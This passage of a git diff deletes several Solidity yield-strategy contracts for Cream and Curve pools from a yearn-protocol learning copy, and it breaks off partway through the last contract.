-    uint256 public constant performanceMax = 10000;
-
-    uint256 public withdrawalFee = 50;
-    uint256 public constant withdrawalMax = 10000;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCreamYFI";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeApprove(crYFI, 0);
-            IERC20(want).safeApprove(crYFI, _want);
-            cToken(crYFI).mint(_want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crYFI != address(_asset), "crYFI");
-        require(cream != address(_asset), "cream");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 amount = balanceC();
-        if (amount > 0) {
-            _withdrawSome(balanceCInToken().sub(1));
-        }
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        Creamtroller(creamtroller).claimComp(address(this));
-        uint256 _cream = IERC20(cream).balanceOf(address(this));
-        if (_cream > 0) {
-            IERC20(cream).safeApprove(uni, 0);
-            IERC20(cream).safeApprove(uni, _cream);
-
-            address[] memory path = new address[](3);
-            path[0] = cream;
-            path[1] = weth;
-            path[2] = want;
-
-            Uni(uni).swapExactTokensForTokens(_cream, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(performanceMax);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            deposit();
-        }
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 b = balanceC();
-        uint256 bT = balanceCInToken();
-        // can have unintentional rounding errors
-        uint256 amount = (b.mul(_amount)).div(bT).add(1);
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        _withdrawC(amount);
-        uint256 _after = IERC20(want).balanceOf(address(this));
-        uint256 _withdrew = _after.sub(_before);
-        return _withdrew;
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function _withdrawC(uint256 amount) internal {
-        cToken(crYFI).redeem(amount);
-    }
-
-    function balanceCInToken() public view returns (uint256) {
-        // Mantisa 1e18 to decimals
-        uint256 b = balanceC();
-        if (b > 0) {
-            b = b.mul(cToken(crYFI).exchangeRateStored()).div(1e18);
-        }
-        return b;
-    }
-
-    function balanceC() public view returns (uint256) {
-        return IERC20(crYFI).balanceOf(address(this));
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceCInToken());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurve3CrvVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurve3CrvVoterProxy.sol
deleted file mode 100644
index 5d48c0ca8..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurve3CrvVoterProxy.sol
+++ /dev/null
@@ -1,202 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IToken.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurve3CrvVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant curve = address(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
-
-    address public constant gauge = address(0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    uint256 public keepCRV = 1000;
-    uint256 public performanceFee = 450;
-    uint256 public strategistReward = 50;
-    uint256 public withdrawalFee = 50;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurve3CrvVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(uni, 0);
-            IERC20(crv).safeApprove(uni, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(curve, 0);
-            IERC20(dai).safeApprove(curve, _dai);
-            ICurveFi(curve).add_liquidity([_dai, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBBTCVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBBTCVoterProxy.sol
deleted file mode 100644
index 39c23d557..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBBTCVoterProxy.sol
+++ /dev/null
@@ -1,224 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveBBTCVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x410e3E86ef427e30B9235497143881f717d93c2A);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-
-    address public constant curve = address(0xC45b2EEe6e09cA176Ca3bB5f7eEe7C47bF93c756);
-    address public constant gauge = address(0xdFc7AdFa664b08767b735dE28f9E84cd30492aeE);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-    address public constant wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> wbtc route
-
-    uint256 public keepCRV = 1000;
-    uint256 public treasuryFee = 500;
-    uint256 public strategistReward = 50;
-    uint256 public withdrawalFee = 0;
-    uint256 public constant FEE_DENOMINATOR = 10000;
-
-    address public proxy;
-    address public dex;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        // standardize constructor
-        proxy = address(0xC17ADf949f524213a540609c386035D7D685B16F);
-        dex = sushiswap;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveBBTCVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        keeper = _keeper;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(wbtc != address(_asset), "wbtc");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = wbtc;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _wbtc = IERC20(wbtc).balanceOf(address(this));
-        if (_wbtc > 0) {
-            IERC20(wbtc).safeApprove(curve, 0);
-            IERC20(wbtc).safeApprove(curve, _wbtc);
-            ICurveFi(curve).add_liquidity([0, 0, _wbtc, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBTCVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBTCVoterProxy.sol
deleted file mode 100644
index c9acbe45d..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBTCVoterProxy.sol
+++ /dev/null
@@ -1,203 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IToken.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveBTCVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x075b1bb99792c9E1041bA13afEf80C91a1e70fB3);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> wbtc route
-
-    address public constant wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
-    address public constant curve = address(0x7fC77b5c7614E1533320Ea6DDc2Eb61fa00A9714);
-
-    address public constant gauge = address(0x705350c4BcD35c9441419DdD5d2f097d7a55410F);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    uint256 public keepCRV = 1000;
-    uint256 public constant keepCRVMax = 10000;
-
-    uint256 public performanceFee = 500;
-    uint256 public constant performanceMax = 10000;
-
-    uint256 public withdrawalFee = 50;
-    uint256 public constant withdrawalMax = 10000;
-
-    address public proxy;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public earned; // lifetime strategy earnings denominated in `want` token
-
-    event Harvested(uint256 wantEarned, uint256 lifetimeEarned);
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveBTCVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(wbtc != address(_asset), "wbtc");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _before = balanceOf();
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-        require(_before == balanceOf(), "!slippage");
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(uni, 0);
-            IERC20(crv).safeApprove(uni, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = wbtc;
-
-            Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _wbtc = IERC20(wbtc).balanceOf(address(this));
-        if (_wbtc > 0) {
-            IERC20(wbtc).safeApprove(curve, 0);
-            IERC20(wbtc).safeApprove(curve, _wbtc);
-            ICurveFi(curve).add_liquidity([0, _wbtc, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(performanceMax);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBUSDVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBUSDVoterProxy.sol
deleted file mode 100644
index a12375188..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyCurveBUSDVoterProxy.sol
+++ /dev/null
@@ -1,203 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Gauge.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IToken.sol";
-import "../../interfaces/yearn/IVoterProxy.sol";
-
-contract StrategyCurveBUSDVoterProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x3B3Ac5386837Dc563660FB6a0937DFAa5924333B);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant ydai = address(0xC2cB1040220768554cf699b0d863A3cd4324ce32);
-    address public constant curve = address(0x79a8C46DeA5aDa233ABaFFD40F3A0A2B1e5A4F27);
-
-    address public constant gauge = address(0x69Fb7c45726cfE2baDeE8317005d3F94bE838840);
-    address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-
-    uint256 public keepCRV = 1000;
-    uint256 public constant keepCRVMax = 10000;
-
-    uint256 public performanceFee = 500;
-    uint256 public constant performanceMax = 10000;
-
-    uint256 public withdrawalFee = 50;
-    uint256 public constant withdrawalMax = 10000;
-
-    address public proxy;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyCurveBUSDVoterProxy";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setKeepCRV(uint256 _keepCRV) external {
-        require(msg.sender == governance, "!governance");
-        keepCRV = _keepCRV;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "!governance");
-        proxy = _proxy;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(ydai != address(_asset), "ydai");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
